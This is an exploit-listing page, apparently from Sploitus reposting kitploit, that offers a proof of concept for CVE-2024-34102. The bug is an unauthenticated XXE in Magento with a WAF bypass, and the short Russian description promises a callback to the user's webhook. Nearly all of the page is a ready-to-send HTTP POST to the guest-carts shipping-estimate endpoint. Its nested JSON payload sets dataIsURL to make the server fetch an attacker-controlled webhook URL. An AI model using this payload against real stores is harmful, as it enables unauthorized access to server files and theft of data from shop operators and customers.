Sploitus

Exploit for CVE-2024-34102

kitploit · 2026-08-25

Exploit Code

MARKDOWN30 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-11WHOAMI99-CVE-2024-34102
# CVE-2024-34102

POC для CVE-2024-34102: неаутентифицированная XXE в Magento и обход WAF. Вы получите HTTP-соединение на ваш вебхук.

root@kitploit:~
    
    
    POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2
    Host: example.com
    Accept:  application/json, text/javascript, */*; q=0.01
    Content-Length: 310
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
    
    {
      "address": {
        "totalsCollector": {
          "collectorList": {
            "totalCollector": {
              "sourceData": {
                "data": "http://YOUR-webhook",
                "dataIsURL": true,
                "options": 1337
              }
            }
          }
        }
      }
    }